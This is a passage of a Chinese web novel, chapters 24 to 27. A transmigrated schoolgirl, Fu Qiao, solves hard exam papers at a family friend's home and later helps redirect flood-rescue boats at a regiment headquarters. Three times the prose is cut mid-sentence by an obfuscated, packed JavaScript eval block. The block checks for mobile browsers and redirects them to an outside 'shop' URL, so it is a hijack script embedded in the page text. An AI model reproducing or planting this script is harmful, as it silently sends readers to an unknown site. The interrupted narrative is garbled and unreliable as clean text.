他弯下身探头查看着她的脸色,见她唇颊苍白,中午餐桌上几分小心思顿时被抛到了九霄云外,不自主地心急起来,追问道:“你哪里难受吗?那咱就不上去了吧。我先送你回招待所休息,好不好?” “不,不用。” 她强行压下了脑海里各种翻涌的思绪,定了定心神,硬扯出了个笑脸。 “只是有点晕车,不用麻烦了。已经约定好的事情,怎么能临时改期呢?这都到楼下了,咱们快上去吧。” 24. 考卷 做题,做题,做题。 明黄泛黄的灯光下,少女握着钢笔在考卷上不停地书写着。数字,字符,字母,黑色的字迹不断在白色的卷面上出现。 本该是焦灼紧张的测试环境,傅俏却在其中获得了久违的安定。 问题是清晰的,条件是限定的,答案是唯一,一切的逻辑链路都是如此明确,没有任何的意外。 不像这个世界。 屋外的雨水还在继续落下,但她已经分不清到底是自己的记忆出现了偏差,还是这个世界有问题? 脑子里一边在想,手上的卷子也一边在做。 赵家的客厅里,今晚出奇的安静。 方承和赵远在下象棋,荀敏则是坐在沙发上看书,三人同时保持着安静,俨然一副岁月静好的场面。 如果不去看那一盘棋局的话。 赵团长手边吃掉的棋子垒了高高几摞,直杀得方承是丢盔弃甲,落花流水。 “方承?方承?” “啊?” “该你走了。” “哦?哦哦!” 他看着眼前心不在焉的青年人,无奈地叹了口气,“算了。你今天心思不在这里,下也下不好。收了吧,收了吧。” 方承神色有些尴尬地笑了笑,转头又看向了墙上的挂钟。 荀敏见状,也出声道:“小承。这才一个半钟呢,别着急。我刚才给小俏的是数学和物理两套题,让她自选一套做。最快最快,也得做两个小时呢。” 方承道:“啊。没有,我是怕…她做得太久,耽误赵叔和荀姨你们明天上班。” 这话一出,荀敏竟微微笑了起来,“我实话说了吧。这两套题啊,是我们年级老师自主命题的,难度很大,一般的学生根本做不到两个小时,毕竟这些题目,不会做就是不会做,再多干看着也没辙。就连钟冰也只考了六百一十多分,那可是年年都拿第一的清北苗子,全市前十的水平。” 方承眉头一皱,不解道:“那为什么您要…”话到嘴边,他又觉得似乎不妥,转而道:“这样会打击学生的自信心吧?” 荀敏干脆将书放下,“还真就是这个目的。这是一中的传统,通常在升入高三的第一次模拟大考,老师们都会把卷子出得特别难,为得就是杀杀学生浮躁的心思,也敲个警钟,告诉他们从现在开始就要努力。” “可是……” 他张嘴还想说些什么,身后紧闭的房门却突然打开了。 方承下意识回头,只见傅俏正拿着两张试卷走了出来。 她的脸色依旧不太好看,整个人还是那副怔怔的,好似有些恍惚的状态。 荀敏和赵远对视一眼,她的脸上流露出了理所应当的神情。 方承立马起身走了过去,想要同她说明考试卷的特殊。但傅俏却没有理会,居然毫不在意地绕过了他,径直朝沙发上坐着的荀敏走去。 “小俏。这卷子是比较难,不会做不要紧……” “我做完了。” 傅俏的声线又平又稳,不带一丝情绪,冷静得仿佛是个机器。 荀敏一愣,还以为她是不会做也写了些内容,笑了笑也没拆穿,只是一边从茶几下方拿出答案一边继续问道:“那你选得是数学还是物理啊?” “我都做了。”她说道。 这下荀敏脸上的笑意褪得干干净净,她不喜欢这种不踏实的学生,于是便沉默着从她手里接过试卷,平展开在茶几上。 方承围了过来,两张试卷上果然都已经写满了字迹。他弯腰一看,答案条理清晰,显然并是不乱写。再俯身仔细一读,他的眼睛差点儿都要从眼眶里掉下来了。 “你都会啊?!” 这份惊喜仿佛从天而降,砸了他个措手不及,却是货真价实的。 比起方承大喜过望,荀敏的脸色则是更凝重了,她锁着眉头从眼镜背后打量着傅俏,不甚客气地问道:“你做过这套题目?” “没有。” 也是。这套题目是一中的内部试题,她一个苏城人想弄到谈何容易? 还不待她再开口,傅俏又道:“您能帮忙批改一下吗?我也不知道自己做得是对是错。” 荀敏没有说话,只一个劲地翻弄着试卷。 约莫二十分钟之后。 经过她的再三确认,这两套试卷的最终得分是213分,总分220分。 要知道这两套卷子,即使是那位“清北苗子”薛冰来做,也只得了193分。而且还是分别在两场考试,做满了整场时间才得来的成绩。 更重要的是,傅俏丢分,有许多原因是她的书写不规范,解题过程过于简单导致缺少得分步骤。还有一个是明显做烦了随手填的答案导致的扣分。 一言以蔽之,非能力丢分。 荀敏翻来覆去的看着试卷,实在挑不出更多的毛病了,遂问道:“为什么你写题,最后的结果都要画个方框圈起来?” 傅俏咯噔一下,心道不好,写顺手了。 前世她的最后一段求学生涯是在芝加哥大学度过,这是美国学校的书写习惯。 “为了老师方便阅卷。” 荀敏还想说什么,赵远却在旁边看得激动起来了,一拍掌对她大声道:“瞧瞧,瞧瞧!我说什么来着?咱军人后代的水平差不了!这下你们学校可没得说了吧?现在是一中得抓紧咯,赶快把事儿办好,不然待会儿什么实验啊,三中收到风声来抢,那你们可就亏啦!” 他是普通农村家庭出身,就喜欢人热热乎乎的这股子不怕输,不服输,更重要的--不会输的劲,别人越是不看好,就越是要争一口气。 “不错,真不错。小俏啊,学习的事情叔叔不在行。但我想要是你父亲看到你今天的样子,也一定会为你感到高兴的。对了,我听方承说,你父亲也是军人。不知道是哪一年的兵?” 方承闻言神色微变,对于傅俏的身世,他只说了是军人子女,并没有说是方振邦的战友遗孤。 把伤疤当做筹码露于人前,靠悲惨获取同情,他觉得这种行为几近于羞辱。 另外,或许在内心的深处,他始终还是无法正确地面对父亲这座高山。 所以方承宁愿自己拼尽全力,拉下脸皮去博得一个名额,也不愿借方首长的东风。 除非他实在办不到了。 傅俏顿了顿,能问出这个问题,就说明方承并没有对他说过自己的身世。 为什么不说? 是为了维护她的体面,还是因为…… 她脑海里忽然响起了阮红和方振邦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16561735|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音。 一个前倨后恭,一个言行不一。 父亲似乎与这对夫妻有过什么不好在明面上说的过节,而眼前这位“赵叔”显然与方承关系甚密,保不齐他也对父亲和方家夫妇的事情有所了解,若是被他知道了…… “我也记不清了。” 傅俏的言语间仿佛混合着淡淡的悲伤,“他在南方牺牲的时候,我还很小。” 赵远怔愣了一瞬,没想到竟会是这个答案,连荀敏也被震惊了。 她放下卷子,试探性地问道:“那你…是跟着妈妈一起生活吗?” “没有。” 傅俏微微晃动了下脑袋,说道:“她在我十岁的时候出国了,改嫁去了美国。我留在国内和叔叔婶婶一起生活。” 少女的口吻平静得仿佛在说天气,丝毫没有意识到,这一句轻描淡写的话有多么让人心碎。 “不过他们昨天也把我赶出来了,所以我现在算是自己生活吧。” 接下来的话更是犹如平地起惊雷,赵远当即就虎了脸,看向方承问道:“怎么回事?” “我家的事情和方连长没有关系。” 傅俏主动替他解围,眼角的余光瞟过荀敏,继续说道:“是他们不让我高考,觉得读书没用,所以闹了矛盾。我不想在那个家待下去了,我想读书…想考大学。” 夜色深沉。 赵运和荀敏二人主动出门相送。尤其是荀敏,原本还因为傅俏的出色有些打击到了她对考题、对一中教学质量的自信而略感介怀。 但三言两语交谈下来,她的内心里早就软得一塌糊涂,对这个身世坎坷却坚强自立的小姑娘好感激增。要不是方承说已经在招待所订好了房间,她都恨不得要留人在家住宿。 “俏俏。你明天就到荀姨家来,阿姨给你烧红烧肉吃。顺便啊,我那儿还有些别的科目的试卷,你也都看看。” 荀敏拉着傅俏的手,亲亲热热道。 “这样…会不会太麻烦您了?” “哎呀,没事的!你看你瘦得哟,都只有一把骨头了。小姑娘就要多吃肉的,多吃肉身体好,不要听别人说什么怕胖。我女儿就是最喜欢吃妈妈烧得红绕肉了,你一定也要尝尝的。” 在连绵不休的雨势下,地面上的积水潺潺,已经有了没过脚面的高度。 赵远则是在同方承说话,指挥着他把停在对面的吉普给开过来。 “你先去把车开过来,停得近一点。这样等下俏俏好上车,不然下雨滴滴答答的,给人全淋湿了。” 方承弯着嘴角点点头,只说道:“好。赵叔,待会儿您让小俏别急着上车,我来接她。” 赵远摆摆手示意快去,他自己转身就加入了荀敏和傅俏的“离别”交谈会中。 滴滴! 吉普紧贴着单元门前停下,但中间约莫还是有一两米左右的无遮挡范围,雨丝在车灯前接连成线,丝缕不断。 车门开合,驾驶位上闪下一个人影,动作极快,几乎是眨眼的功夫就绕到了副驾的门前,长臂一拉就开了车门。 方承单手撑着雨伞,傅俏刚走出屋檐,那把雨伞就移到她的头上。 “慢一点。” 随着她的身形移动,伞也跟着移动,一直到她安安稳稳地坐到副驾。 25. 新闻 车辆在熟悉的建筑之前缓缓停下。 两人再次步入到一楼大厅时,傅俏的身上几乎没沾上几点雨水,倒是方承,橄榄绿的常服有半边差不多都吸水成了墨绿色。 “明早有什么想吃的?或者有没有什么计划要出去玩玩?” 他说着将从前台取来的钥匙交给傅俏。 “你明天不工作?” 傅俏不知道该怎么描述他的工作状态,索性笼统称之为“工作”,做动词使用。 方承道:“我请得是今年的探亲假,有二十多天。虽然可以销假,但这样不就太浪费了吗?下次再休又得申请,一层层审批也不容易。” “你这次不是请得挺快的?”她有些疑惑。 他笑了笑,“因为我两年没休假了。” 傅俏哑然,没想到这个世界上还真有打心底里热爱工作的人。 哪怕是前世的创业阶段,一帮人不分白昼黑夜地干活也都是为了给自己创造价值,而不是在一个大体系架构之中努力地做颗螺丝钉。 今天算是让碰见了。 她兴致缺缺,“明天的事情,就明天再说吧。” 方承抱着花盆,背着包跟在身后。直到帮忙把行李放进了屋内,也没有要离开的意思。 傅俏不解地望着他,话都懒得说。 “真的没有哪里不舒服吗?” 他有些紧张地看着她,神情中的关切不似作伪,“如果是因为下午我的态度不好,我给你道歉…” 方承说这话时显然难为情极了,就仿佛是有人拿枪顶在后脑勺上逼他说出来的一样。 “……我觉得你额头上的伤不像你说得那么简单,那个什么马志远…你提都没和我提过…你是不是仍旧不相信我?” 表面上说得理直气壮,实际内心里在疯狂打鼓。 “……” 傅俏没有第一时间回答,只是默默地看了他一会儿。 方承被她盯得越来越心虚。 她轻叹了口气,平淡道:“和你没关系。” 他无法接受这个答案,追问道:“为什么你总闷闷不乐的?在赵叔家里稍微恢复点,我还以为你好了。现在又这样,跟魂儿丢了似的。” 傅俏被问得烦躁,不知道是不是心理作用,她隐约感觉额角的伤口又开始疼了。 “方连长。” 她不高不低地唤了一声,反问道:“你有过心事吗?不想对任何人宣之于口的那种。” 方承没有说话,沉默代表着赞同。 “所以也请你允许我有这样的心事,可以吗?” 接二连三的反问让他一时有些无措,或者说在面对眼前人时,除开糟糕的初遇场面,方承一直都有些手忙脚乱。 他下意识地仰起下巴,假装看向别的方向,不经意说道:“当然可以。只是看你脸色不好,怕你生病而已。毕竟我现在算是你的‘临时监护人’,对你有照顾的义务。” 傅俏闻言,不禁烦透了眼下这个“身不由己”的年龄和贫瘠的经济条件。 “那好。我现在累了,要睡觉了。请问监护人,您要在这里守着吗?” 门关上,封闭的房间就成了一方静谧天地。 她坐到了书桌前,打开台灯。 昏黄的灯光之下,傅俏默默伸出了右手,在光亮中静静地、仔细地观摩着这只手。 手指随着她的思想做出各种动作,没有任何异样,更没有穿模。空气中幽幽的茉莉花香若有似无,台灯滋滋的电流声不绝于耳。 是庄周梦蝶,还是蝶梦庄周? 考卷中所用到的公式没来由地浮现在脑中,黑色字迹历历在目。 “如果问有没有一个造物者存在,那么我想是有的。因为整个世界的构造不是偶然…牛顿的运动方程、麦克斯韦方程…可以说他们是造物者的诗篇。” 她忽地想起了前世听过的讲座,那位应邀出席的学界泰斗如是说道。细细思忖一瞬,竟吃吃笑了起来。 造物者创造了世界,可谁又规定祂只能创造一个世界?只要祂愿意,祂可以创造出成千上万个,而这每一个都是真实的,因为皆由祂创造而来。 既然没有“真正的真实”,又何来“虚幻”? 她不过是沧海一粟,随波逐流,在这个世界,和原来那个世界,又有多大区别呢? 啪嗒嗒…屋外风雨势头渐大,拍打得窗户呜呜作响。 她起身走到窗边,抬头望天,已然彻底看不见月亮了。 这次还会发生有水灾吗? 一夜无梦。 转天清晨,雨水仍未停歇,连雨势也不见小。 方承来送早饭时,远远便瞧见有人站在门口,轮廓很像是傅俏。 走到近前,居然真的是她。 他记着昨晚的不欢而散,想缓解下气氛,遂主动先开口玩笑道:“怎么今天不看报纸了?” 傅俏看了他眼,答非所问:“这么大的雨,会出什么问题吗?” 方承依言也望了望屋外,顺着话说道:“原本年年就是有梅雨季节的,不过是今年推迟了段时间。” 她摇摇头,“这雨下个没完,雨量大得像是天破了个眼,哪里像是梅雨?而且前段时间闹干旱,土地板结,吸水排水能力更弱了。” 听着面前朝气蓬勃的少女用有些“老气横秋”的口吻说着“忧国忧民”的话,他不禁感觉有些奇怪。 “别担心。” 虽然只是一句没头没尾的话,方承也并没有敷衍,“如果的确是异常气候的话,我想气象部门肯定会及时上报的。” 等傅俏吃过早饭,他试探性地问道:“昨晚我听荀姨说,入学考试在八月底,现在才七月中旬。这还有一个多月,你要不要…考虑去我家住?如果我爸也在家的话?” 她闻言怔了怔,疑惑发问:“方连长,你是不是昨晚没睡好?失忆了?” “荀阿姨留我在家里住,等她女儿回来过暑假好有个伴。而且那个姐姐是英文专业的,正好能给我补课。说这话的时候你就在坐在旁边,怎么还没听见吗?” 方承尴尬笑笑,“哈哈,应该是忘了…所以,你是不想去燕都吗?说实话就好,在我这儿没什么不能说的。” “是。”傅俏说得干脆利落极了。 他点点头起身,“那我走了啊,中午再来。现在还得赶快去团部销假。” “等等。” 方承应声停步。 “销假?”傅俏不解,“你昨晚不是还说这样一来一回很麻烦吗?” “没什么。” 他解释道:其实是我爸昨晚到家了,他打电话来问你的情况,说想见你。不过我看你头上还有伤,而且也和荀姨已经商量好了安排,就说先不去了。但他还是让我征求下你的意见。” 傅俏起了疑心,问道:“你为什么不先说这个?” 方承道:“先讲这个,你可能就会有所顾虑而选择同意。你一贯想得多,常为别人考虑,反倒忽略了自己,所以我想听到你真实的想法。” 她莫名觉得有些好笑。 任何一个觉得和傅俏相处如沐春风的人,都只能证明一件事,那就是这个人根本和她不熟。 “谢谢。”她说道,“不过这是你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571176|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假期,即使我不去。你也可以回家看看不是吗?如果我没有记错,昨天你说已经两年没休假了。” 方承想也没想就说道:“不。” “为什么?”傅俏问道:“你不想家吗?” 他答道:“你还在这儿,我怎么能走?” “我借住在荀阿姨家,会有什么问题?” 她忽地眼珠一转,笑道:“莫不是方连长怕催婚吧?” 方承登时便有些慌张,直摆手道:“什么催婚?你,你小姑娘家家的别瞎猜。” 在取笑他人这件事情上,傅俏的功德心向来是随着被取笑和自己的关系而加减,所以对于方承而言,她笑得毫无压力。 “哈哈哈!” 在一阵清脆的笑声里,方承匆匆忙忙地离开了。 下雨的时候,即便是在夏季也天黑得早。 “来来来,先吃一块红烧肉。” 菜一上齐,荀敏便先叨了块最好的五花三层放进傅俏的碗里。 热腾腾米香氤氲,炖够了火候的红烧肉色泽浓艳,晶莹剔透,颤巍巍地躺在冒尖的白饭上,正毫不吝啬地用稠厚的汤汁浸润着周边的米粒。 妈妈们,或者说慈爱女性们向晚辈们表达爱意的方式总是如此直接质朴,例如杨薇医生的毛豆烧肉,又如现在的红烧肉。 一勺下去,肉和米饭组合着一起进嘴。 咸鲜醇厚中微微带有一丝丝甜味,馥郁的油脂肉香随后在唇齿舌尖四溢开来。最后是软硬适中,粒粒分明的米饭裹挟着胶黏汤汁,这一口吃得,比她在前世吃过得任何一家米其林都惬意美味。 “好吃吗?” 荀敏看着她笑问道,眼睛亮晶晶的,仿佛是在看自己女儿。 傅俏捣蒜式一个劲地点头。 赵远也看得乐了,“瞧这丫头,喜欢得都说不出话了!喜欢就好,多吃多吃。正好方承那小子今天不来,这肉你一个人吃完都没关系!” 面前这碗肉烧熟了至少也有一斤,她哪里能吃得下? 傅俏赶忙咽下方才那口,不好意思道:“不不,叔叔阿姨,我吃不了多少。再吃两块就好了,你们吃啊。” 赵远道:“两块?起码再吃十块!别着急,反正荀姨已经把房间收拾出来了,你打今晚起就住家里,慢慢吃就是。” 荀敏也道:“是嘛。小姑娘吃肉才长力气补气血,你马上高三了,没有一个好身体怎么能行?” 这两人你一言我一语,轮流给她夹菜,眨眼的功夫,碗里的肉菜就堆得冒尖了。 傅俏只好开始像一只仓鼠一样埋头苦吃。 荀敏见状,脸上露出了满意的笑容,说道:“你在这里就当是自己家一样,千万不要觉得不好意思,叔叔阿姨是真的很喜欢你。 温柔而富有磁性的嗓音入耳,她没来由地觉得心头微微发酸。 她又点了点头。 赵远道:“这就对了嘛。哎呦,七点了。打开电视…看看今天有什么新闻。” 客厅中的彩电刚一打开,专属于新闻联播的滴答倒计时声就在众人的耳边响起了。 “各位观众朋友们大家好,这里是中央电视台…” 三人坐在餐厅里,边吃边听着今天的新闻,时不时也会看向屏幕两眼。 “连日来,江、淮二省众多地区均遭遇了‘百年一遇’的强降雨天气,多地出现严重内涝,河流水位持续上涨……” 傅俏心脏猛地一坠,吃饭的动作一顿。 还是来了。 两个问题骤然涌上心头。 她要做什么吗? 她能做什么吗? 26. 内涝 雨下到第四天。 也是傅俏正式住进赵远家中的第三天。 她站在楼上俯视,道路已然被及膝高的泥黄色积水淹没,吉普车的轮胎翻腾起波浪,仿佛是舟艇在水上航行。 “本台报道,据监测陵州市在过去24小时内的降水为236毫米,突破历史极值。而淮江东山水位也快速涨至9.76米,超出警戒线水位0.96米……” 这场铺天盖地的暴风骤雨给整个城市几乎都按下了暂停键。学生停学,工人停工,就连高中部临门一脚的期末考试也被紧急取消,时局来到了高度紧张的状态。 荀敏守在电视机前,认真地看着电视里的新闻播报。 赵远更不必说,抢险救灾向来都是军队都职责所在。他从昨天起就已经在团部忙得脚不沾地了,直到今早才有空打了个电话回来,让送两件换洗衣服去,顺便转达了女儿的口信。 因为洪水险情,从沪市到陵州的列车车次基本上全部取消,她只能暂时留校。并且让父母不要担心,与她一起暑期留校的同寝室友还有两个,大家之间能相互照应。 “才下了几天的雨,都快超过往常一年了,再这么下去,不知道要多少人受灾……” 荀敏感叹着起身,很快就进屋收拾出了几件换洗都衣物。 “俏俏,你在家休息。我去给老赵送衣服了。” 傅俏闻声回头,见她拎着个不大不小的旅游包,赶忙走了过去。 “荀姨,为什么赵叔不让人回来拿啊?” “他们现在都忙着呢,大伙儿都有事。我闲着也是闲着,去送送东西正好。” 傅俏道:“荀姨,那我来送吧,外面雨大水深不好走。” 道上的浑水已经越有二三十公分深,荀敏身形小巧,年近半百,万一摔到哪里可吃不消。 她受人恩惠,这点小事没道理不帮忙。 荀敏道:“没事没事。你不认识路,我慢点走就成。” “荀姨。”她凑了过去,索性先拿住包裹,“你把怎么走告诉我,我保准给你送到。” 荀敏犹豫了片刻,似乎是清楚自己在雨中涉水的能力肯定比不过年轻人,却难以下定决心让傅俏外出淋雨受风。 “可是…你的伤口刚再缝合上…” 她担忧的目光落在了傅俏的额角,素白的纱布分外显眼。 “荀姨,我绝对注意,快去快回,一秒钟都不耽搁。” 她深深地看着小姑娘,最终还是答应道:“好吧。不过一定要记住,你的生命安全才是第一位的。东西哪怕送丢了也不要紧,外面风雨要是大了就赶紧回家。” “诶!”傅俏特意俏皮地应了一声,稍稍缓解了些荀敏紧绷的情绪。 “荀姨,那你快把团部的路告诉我吧。现在雨还不是很大,我这就出发了。” “好好。”荀敏口中应和,眼睛却开始在屋内乱瞟,仿佛是在寻找着什么东西. “笔呢…稿纸呢……”她喃喃说着。 傅俏看得一头雾水,提醒道:“荀姨,您这包不是已经收拾好了吗?” “不是这个。”荀敏解释道:“去团部的路有些绕,给你画个图纸好记。” 她连忙道:“不用了,荀姨。您说就成,我记住。待会儿复述给您听。” “但是你连怎么出家属大院都没试过,人生地不熟的,还是画个图好些吧?” “真的不用。”傅俏又道,“您说就是。” 荀敏有些将信将疑,又因着不想打击孩子的信心,仍如实说道。 “你下楼以后往正东方向走,穿过中心花园,就到了大道上。大道往前走到头有家军人服务社,那是个十字路口,你和服务社同向往右,路过幼儿园,然后就到了锅炉房。从锅炉房那个路往前走大约一百米左右,你能看到一封闭的铁门,有卫兵岗哨,哪儿就是办公区和生活区的分界线了。” 傅俏在脑海里过了一遍,“营区里呢?” “要进营区得经过岗哨,记得一定把临时出入证给带好,给哨兵说清楚是去给赵团长送东西的,核实后就会放你进去。” 她点点头。 “过了岗哨,就能瞧见一条两边都是梧桐树的大路,顺着往前走,经过大礼堂。然后你留意右手边,有栋六层高的楼,外墙刷了半墙红色,前边有个小花坛,不知道现在还不能看见,那里就是团部机关了。你都记住了?” 傅俏略微沉吟了片刻。 荀敏便又开始找起了纸笔。 “下楼往东,穿过中心花园上大道,往前走经过服务社,再继续往东找到锅炉房,锅炉房向北就是岗哨。出示通行证和说明来意后能进入营区,顺着梧桐路走,经过大礼堂后注意右侧建筑,六层楼刷半墙红色的楼栋就是团部机关。对吗?” 少女的嗓音清脆,说得简洁明了。 荀敏一怔,缓了几秒才道:“对对,没错。” 傅俏笑道:“好。那我这就去拿证件,您在家等着我回来就成。” 半小时后。 抵达团部时,纵然有伞,她还是无可避免地成为了落汤鸡。 没办法,风雨交加的时候,水滴几乎是从四面八方而来。脚下的积水自不必说,即使傅俏这一米六七左右的个头,深处也近淹到了大腿,她边走边想着这趟来得幸亏是她,要是荀敏,估计都会被困在半道,进退两难,那就麻烦大了。 又经过一轮岗哨的盘查,傅俏顺利地进入了团部。刚在一楼站了几分钟,她所在的地方就汇聚起了一滩水洼。 看着楼里在各处进进出出,廊道上来来往往的繁忙身形。空气里的味道湿嗒嗒的,烟气若有似无。人声,脚步声,电话铃声,从没有一刻停歇,毫无征兆地灌满了她的耳朵。 傅俏忽然觉得自己与这里有些格格不入,莫名在心底生出些窘迫。 直到很久很久之后,她才明白。 那是一种幽微的,难明的,“小资本阶级”的软弱性。 哒哒哒哒,硬质皮鞋踏在地板上发出急促的脚步声。一人风风火火地从楼上下来,直奔傅俏面前。 “你就是来给团长送东西的?” 刘干事问道。 “是。”她将怀里的包裹递了过去。 刘纪接过包裹,手下的触感干燥,还带着几分温度。 “如果您这边没什么事情的话,我就先走了。”傅俏说着便打算离开。 “等等!” 他看着浑身上下没有一处不是湿漉漉的小姑娘,“待会儿有车要去服务社,可以捎你一程。你先跟我到楼上去喝点姜汤坐一会。” 拾级而上,傅俏跟在这位初次见面的“刘干事”身后,步履匆匆地进到一处大开间。 粗略地环视了一圈,那两张巨幅的地图率先吸引到了她的注意力。左边的展板上钉着张市区地图,上面标记的点位与普通的交通地图似乎有些不同,对面则是整个陵州及周边地区的水文地图。与刘干事不同,屋内的众人皆是身着迷彩,接收着电台消息,笔下刷刷地在纸张上记录着什么,不到一会儿的功夫就有好几人收集了一批又一批的文件出去。 瞧着像是个信息流转的中心。 “来,快喝。” 一只白底绿色斑点的碗忽然出现在眼前,里面是刘纪从后方小桌上的大不锈钢桶里舀来的温热姜汤。 “你在这里先休息会,等车到了我来喊你。” 傅俏忙接过汤碗道:“谢谢您,我就在这里不会乱走的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这种系统性的问题,以后再说,先说眼下的事情。长胜街道的情况严峻,你快联系看看有哪只队伍在附近,赶快去跑一趟。” 傅俏听罢,呷了姜汤,略在脑海里回忆了下刚才听到的信息,喃喃自语道:“六号编队,两辆小型冲锋舟。” 很快,隔壁就来了人,甫一进门就大声问道:“快查查!有哪只冲锋舟编队在长胜街道附近的?!” 过了约莫三分钟,一位稍显白净的男生答道:“四号编队!有三辆中型冲锋舟,应该是要去龙江船厂执行任务的,刚才五分钟前六连电台回传消息说已经出发,是否要立马叫回?” “快发消息!我去汇报参谋长。” 来人又火急火燎地离开了。 她不禁感到匪夷所思,默默腹诽道:“走了五分钟了。冲锋舟是用马达加速又不靠人手划,一分钟至少能走五六百米。五分钟都走出去三公里了,船上又没对讲机,哪里还能叫得回来了?” 芝加哥冬季漫长而又寒冷,只有夏天算得宜人,所以那时候傅俏会在暑假时偶尔和同学去密歇根湖上玩桨板,享受湖区难得的好天气。到实现财务自由后,索性买了艘圣汐克Hawk38中控台快艇,因此或多或少对舟艇的性能马力有了些大概的了解。 傅俏在心里盘算着:“倒是十分钟前去八卦洲的快艇编队和六号冲锋舟编队刚从芦淀口出发,就算快得话也不过就是七八公里,恰巧经过龙藏津,快艇上有电台不说,要是从龙藏津到长胜街道,那可比从龙江船厂过去快多了。” 不过,她要不要说出来? 不说,灾情如火,一分一秒都耽搁不起。可要是说,自己人微言轻,未必会有人在意,多半是个自取其辱的下场。 纠结之际,刘纪出现了。 “走吧,车到了。” “啊?”傅俏从思绪中恍然脱出,条件反射似地起身。 两人刚走出两步,她倏地停下。 刘纪回望看她,不解:“怎么了?” “刘干事,您能帮我说句话吗?”。 27. 掉头 听傅俏将长胜街道的救援方案说完,刘纪的眉头紧皱,反问道:“你怎么会知道冲锋舟编队的安排和各地区的灾情情况?” 她如实道:“我刚坐在屋里喝姜汤的时候听到的。” “你是陵州人?”他的神色愈发难明。 傅俏摇摇头道:“不是,我是苏城人。” 刘纪的脸上顿时流露出不加遮掩的恼怒,似乎是觉得小孩子胡闹起来没边了,打发式地朝外挥了挥手,说道:“车已经在楼下了,快走吧。” 她一看这副表情,心里便知道他估摸是不会去说了。 但傅俏还是想争取一把,蓦然停步道:“刘干事,六号编队再不联系,估计就要过龙藏津了……” “好了。” 他重重说了声,“救灾是大人的事情,你一个小孩子就不要操心了,快回去吧。” “可是……” “快走吧!车是不等人的!” 傅俏只好离开。 “小丫头片子,真会异想天开。” 刘纪望着小姑娘的背影,叹息道。 他刚准备移步回到办公室,却看到林煦横冲直撞地从电台收发室里出来,一进参谋作战室就嚷嚷开了。 “不行!四号编队已经前往执行龙湖船厂的任务,船已经开出去三公里了多了,对讲机没法联系上了。” “那怎么办?!” 杜琪霍地从座椅上站了起来,连珠炮一般说道:“刚才长胜街道又回传了险情,水一直在涨,再涨下去就要到屋顶了。被困的群众至少有四五十人,以老弱病幼为主,而且里面还有个孕妇!” 徐修此时的脸色已经是沉到底了,他作为后勤股股长,理应为任务做好一切物资保障。 但眼下的情形却是一团乱麻,人人在突如其来的高压之下都好像失去了方寸。明明是努力想做好每一件事情,却最终变成了个“头痛医头,脚痛医脚”的局面。 几分钟前还在让他稍安勿躁的陈康盛这下自己也无法再克制火气了,看着两个忙晕了头的参谋大声道:“怎么办?!你们俩是在问我吗?!” 陈参谋长为人性情温和,彬彬有礼,极少对别人动怒发火,这一下厉声质问,竟是将两个参谋吓得立定在了原地,一动不动。 许是有些人在越紧张的情况下,脑子转得越来。 杜琪挨了骂,愣了一会,猛地一拍脑子,直冲到屋内悬挂的地图前看了又看,嘴角瞬间都快咧到了耳根,兴奋道:“快艇!一号快艇编队和六号冲锋舟编队在一起,正从芦淀口往八卦洲去送物资去,他们要经过龙藏津,让六号编队改道从龙藏津去长胜就可以了!正好冲锋舟是空驶,本来是为了去转移一部分病弱灾民出来到医院去的!” 林煦此时也反应了过来,越想越觉得合适,喜道:“对啊!快艇上有电台,我就这就去联系!” 他办事一贯雷厉风行,说了就要去做,话音未落,人都已经到门口了。 “诶?你杵在门口傻愣着干嘛?也不看人。” 幸亏他的军事素质过硬,生生往后倒腾了两步,否则差点就和呆立在门口装雕塑的刘纪撞个正着。 林煦随口发了句牢骚,又继续往隔壁走。 “等一下。” 刘纪手快抓住了他,果然迎来了林参谋的臭脸。 “干什么?你要是闲得慌就让团长再给你派点儿跑腿的活。我这有要紧事,别瞎捣乱。” “你们不会是真的要联系一号快艇编队,让六号编队改道去长胜吧?” “哎呀!” 林煦一把将人推开,从他手里抽出胳膊,不耐烦道:“不然呢?瞎打听什么啊。我没空和你浪费,自己玩去吧。” 刘纪被甩在原地,怔忡着喃喃道:“不会吧…那丫头应该就是瞎猫撞上死耗子……” “过了?!” 林煦的大嗓门像是广播一样,“你们已经过了龙藏津,到白鹭矶了?那快掉头啊,掉头掉头!” 真过了?! 难道她真的能在十几分钟里背下陵州地图,光靠听到的只言片语就能做出准确的判断? 这还是人吗? 一刹之间,懊悔、质疑、震撼……众多复杂情绪齐齐涌上心头,刘纪思忖了片刻,毅然转身前往团长办公室。 傅俏跟着拉货的卡车到了军人服务社,往后又走了好一段才到家。 钥匙插进锁眼拧动,大门应声而开。 她刚走进玄关,便见着荀敏正在接电话,轻轻关上大门,人却依旧站在原处。 荀敏自然也瞧见她回来,脸色微变,和电话那头又匆匆说了几句。 “好,好…不说了,俏俏已经回来了…嗯,嗯,知道了!你总得让孩子歇歇,换身衣服吧!好,好…就这样。” 她挂了电话遂立马起身,“俏俏,你怎么站在门口不进来?” 傅俏道:“我身上都是水和泥巴,就这么进来会把地板踩脏的。” “说什么傻话呢?”荀敏提高了声调,“快进来洗个澡,换身衣服。待会儿老赵派车来接你。” 